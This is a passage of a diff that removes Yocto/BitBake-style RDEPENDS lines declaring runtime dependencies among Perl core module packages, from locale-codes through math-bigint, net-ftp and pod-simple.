-RDEPENDS_perl-module-locale-codes += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes += "perl-module-if"
-RDEPENDS_perl-module-locale-codes += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-country += "perl-module-exporter"
-RDEPENDS_perl-module-locale-country += "perl-module-if"
-RDEPENDS_perl-module-locale-country += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-country += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-country += "perl-module-strict"
-RDEPENDS_perl-module-locale-country += "perl-module-warnings"
-RDEPENDS_perl-module-locale-currency += "perl-module-exporter"
-RDEPENDS_perl-module-locale-currency += "perl-module-if"
-RDEPENDS_perl-module-locale-currency += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-currency += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-currency += "perl-module-strict"
-RDEPENDS_perl-module-locale-currency += "perl-module-warnings"
-RDEPENDS_perl-module-locale-language += "perl-module-exporter"
-RDEPENDS_perl-module-locale-language += "perl-module-if"
-RDEPENDS_perl-module-locale-language += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-language += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-language += "perl-module-strict"
-RDEPENDS_perl-module-locale-language += "perl-module-warnings"
-RDEPENDS_perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext-guts += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
-RDEPENDS_perl-module-locale-maketext += "perl-module-integer"
-RDEPENDS_perl-module-locale-maketext += "perl-module-strict"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-base"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-strict"
-RDEPENDS_perl-module-locale += "perl-module-config"
-RDEPENDS_perl-module-locale-script += "perl-module-exporter"
-RDEPENDS_perl-module-locale-script += "perl-module-if"
-RDEPENDS_perl-module-locale-script += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-script += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-script += "perl-module-strict"
-RDEPENDS_perl-module-locale-script += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calcemu += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calcemu += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-constant"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-integer"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-xsloader"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigint += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-math-complex += "perl-module-config"
-RDEPENDS_perl-module-math-complex += "perl-module-exporter"
-RDEPENDS_perl-module-math-complex += "perl-module-overload"
-RDEPENDS_perl-module-math-complex += "perl-module-strict"
-RDEPENDS_perl-module-math-complex += "perl-module-warnings"
-RDEPENDS_perl-module-math-trig += "perl-module-exporter"
-RDEPENDS_perl-module-math-trig += "perl-module-math-complex"
-RDEPENDS_perl-module-math-trig += "perl-module-strict"
-RDEPENDS_perl-module-memoize-anydbm-file += "perl-module-vars"
-RDEPENDS_perl-module-memoize += "perl-module-config"
-RDEPENDS_perl-module-memoize += "perl-module-exporter"
-RDEPENDS_perl-module-memoize += "perl-module-strict"
-RDEPENDS_perl-module-memoize += "perl-module-vars"
-RDEPENDS_perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
-RDEPENDS_perl-module-memoize-storable += "perl-module-storable"
-RDEPENDS_perl-module-mime-base64 += "perl-module-exporter"
-RDEPENDS_perl-module-mime-base64 += "perl-module-strict"
-RDEPENDS_perl-module-mime-base64 += "perl-module-vars"
-RDEPENDS_perl-module-mime-base64 += "perl-module-xsloader"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-exporter"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-mime-base64"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-vars"
-RDEPENDS_perl-module-mro += "perl-module-strict"
-RDEPENDS_perl-module-mro += "perl-module-warnings"
-RDEPENDS_perl-module-mro += "perl-module-xsloader"
-RDEPENDS_perl-module-net-cmd += "perl-module-constant"
-RDEPENDS_perl-module-net-cmd += "perl-module-errno"
-RDEPENDS_perl-module-net-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-net-cmd += "perl-module-strict"
-RDEPENDS_perl-module-net-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-net-config += "perl-module-exporter"
-RDEPENDS_perl-module-net-config += "perl-module-socket"
-RDEPENDS_perl-module-net-config += "perl-module-strict"
-RDEPENDS_perl-module-net-config += "perl-module-warnings"
-RDEPENDS_perl-module-net-domain += "perl-module-exporter"
-RDEPENDS_perl-module-net-domain += "perl-module-net-config"
-RDEPENDS_perl-module-net-domain += "perl-module-posix"
-RDEPENDS_perl-module-net-domain += "perl-module-socket"
-RDEPENDS_perl-module-net-domain += "perl-module-strict"
-RDEPENDS_perl-module-net-domain += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-errno"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp += "perl-module-constant"
-RDEPENDS_perl-module-net-ftp += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ftp += "perl-module-file-basename"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-config"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-ftp-a"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-ftp += "perl-module-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp += "perl-module-time-local"
-RDEPENDS_perl-module-net-ftp += "perl-module-warnings"
-RDEPENDS_perl-module-net-hostent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-hostent += "perl-module-exporter"
-RDEPENDS_perl-module-net-hostent += "perl-module-socket"
-RDEPENDS_perl-module-net-hostent += "perl-module-strict"
-RDEPENDS_perl-module-net-netent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-netent += "perl-module-exporter"
-RDEPENDS_perl-module-net-netent += "perl-module-socket"
-RDEPENDS_perl-module-net-netent += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-filehandle"
-RDEPENDS_perl-module-net-netrc += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-warnings"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-config"
-RDEPENDS_perl-module-net-nntp += "perl-module-strict"
-RDEPENDS_perl-module-net-nntp += "perl-module-time-local"
-RDEPENDS_perl-module-net-nntp += "perl-module-warnings"
-RDEPENDS_perl-module-net-ping += "perl-module-constant"
-RDEPENDS_perl-module-net-ping += "perl-module-exporter"
-RDEPENDS_perl-module-net-ping += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ping += "perl-module-filehandle"
-RDEPENDS_perl-module-net-ping += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-net-ping += "perl-module-posix"
-RDEPENDS_perl-module-net-ping += "perl-module-socket"
-RDEPENDS_perl-module-net-ping += "perl-module-strict"
-RDEPENDS_perl-module-net-ping += "perl-module-time-hires"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-pop3 += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-config"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-pop3 += "perl-module-strict"
-RDEPENDS_perl-module-net-pop3 += "perl-module-warnings"
-RDEPENDS_perl-module-net-protoent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-protoent += "perl-module-exporter"
-RDEPENDS_perl-module-net-protoent += "perl-module-strict"
-RDEPENDS_perl-module-net-servent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-servent += "perl-module-exporter"
-RDEPENDS_perl-module-net-servent += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-smtp += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-config"
-RDEPENDS_perl-module-net-smtp += "perl-module-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-warnings"
-RDEPENDS_perl-module-net-time += "perl-module-exporter"
-RDEPENDS_perl-module-net-time += "perl-module-io-select"
-RDEPENDS_perl-module-net-time += "perl-module-io-socket"
-RDEPENDS_perl-module-net-time += "perl-module-net-config"
-RDEPENDS_perl-module-net-time += "perl-module-strict"
-RDEPENDS_perl-module-net-time += "perl-module-warnings"
-RDEPENDS_perl-module-next += "perl-module-overload"
-RDEPENDS_perl-module-next += "perl-module-strict"
-RDEPENDS_perl-module-next += "perl-module-warnings"
-RDEPENDS_perl-module-ok += "perl-module-strict"
-RDEPENDS_perl-module-ok += "perl-module-test-more"
-RDEPENDS_perl-module-opcode += "perl-module-exporter"
-RDEPENDS_perl-module-opcode += "perl-module-strict"
-RDEPENDS_perl-module-opcode += "perl-module-subs"
-RDEPENDS_perl-module-opcode += "perl-module-xsloader"
-RDEPENDS_perl-module-open += "perl-module-encode"
-RDEPENDS_perl-module-open += "perl-module-encoding"
-RDEPENDS_perl-module-open += "perl-module-warnings"
-RDEPENDS_perl-module-o += "perl-module-b"
-RDEPENDS_perl-module-ops += "perl-module-opcode"
-RDEPENDS_perl-module-overloading += "perl-module-overload-numbers"
-RDEPENDS_perl-module-overloading += "perl-module-warnings"
-RDEPENDS_perl-module-overload += "perl-module-mro"
-RDEPENDS_perl-module-overload += "perl-module-warnings-register"
-RDEPENDS_perl-module-params-check += "perl-module-exporter"
-RDEPENDS_perl-module-params-check += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-params-check += "perl-module-strict"
-RDEPENDS_perl-module-params-check += "perl-module-vars"
-RDEPENDS_perl-module-parent += "perl-module-strict"
-RDEPENDS_perl-module-parent += "perl-module-vars"
-RDEPENDS_perl-module-perlfaq += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-strict"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-strict"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-scalar += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-base"
-RDEPENDS_perl-module-pod-checker += "perl-module-exporter"
-RDEPENDS_perl-module-pod-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-escapes += "perl-module-exporter"
-RDEPENDS_perl-module-pod-escapes += "perl-module-strict"
-RDEPENDS_perl-module-pod-escapes += "perl-module-vars"
-RDEPENDS_perl-module-pod-escapes += "perl-module-warnings"
-RDEPENDS_perl-module-pod-find += "perl-module-config"
-RDEPENDS_perl-module-pod-find += "perl-module-cwd"
-RDEPENDS_perl-module-pod-find += "perl-module-exporter"
-RDEPENDS_perl-module-pod-find += "perl-module-file-find"
-RDEPENDS_perl-module-pod-find += "perl-module-strict"
-RDEPENDS_perl-module-pod-find += "perl-module-vars"
-RDEPENDS_perl-module-pod-functions += "perl-module-exporter"
-RDEPENDS_perl-module-pod-functions += "perl-module-strict"
-RDEPENDS_perl-module-pod-inputobjects += "perl-module-strict"
-RDEPENDS_perl-module-pod-inputobjects += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-man += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-man += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-subs"
-RDEPENDS_perl-module-pod-man += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parselink += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parselink += "perl-module-strict"
-RDEPENDS_perl-module-pod-parselink += "perl-module-vars"
-RDEPENDS_perl-module-pod-parselink += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parser += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parser += "perl-module-pod-inputobjects"
-RDEPENDS_perl-module-pod-parser += "perl-module-strict"
-RDEPENDS_perl-module-pod-parser += "perl-module-vars"
-RDEPENDS_perl-module-pod-parseutils += "perl-module-strict"
-RDEPENDS_perl-module-pod-parseutils += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-fcntl"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-temp"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-text-parsewords"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-handle"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-select"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-warnings"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-pod-select"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-strict"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-vars"
-RDEPENDS_perl-module-pod-select += "perl-module-pod-parser"
-RDEPENDS_perl-module-pod-select += "perl-module-strict"
-RDEPENDS_perl-module-pod-select += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-overload"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-escapes"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-linksection"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
-RDEPENDS_perl-module-pod-simple += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-progress += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-config"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-cwd"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-pod-simple-transcodedumb"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-pod-simple-transcodesmart"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-encode"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-color += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-color += "perl-module-term-ansicolor"
-RDEPENDS_perl-module-pod-text-color += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text += "perl-module-encode"
-RDEPENDS_perl-module-pod-text += "perl-module-exporter"
-RDEPENDS_perl-module-pod-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-text += "perl-module-strict"
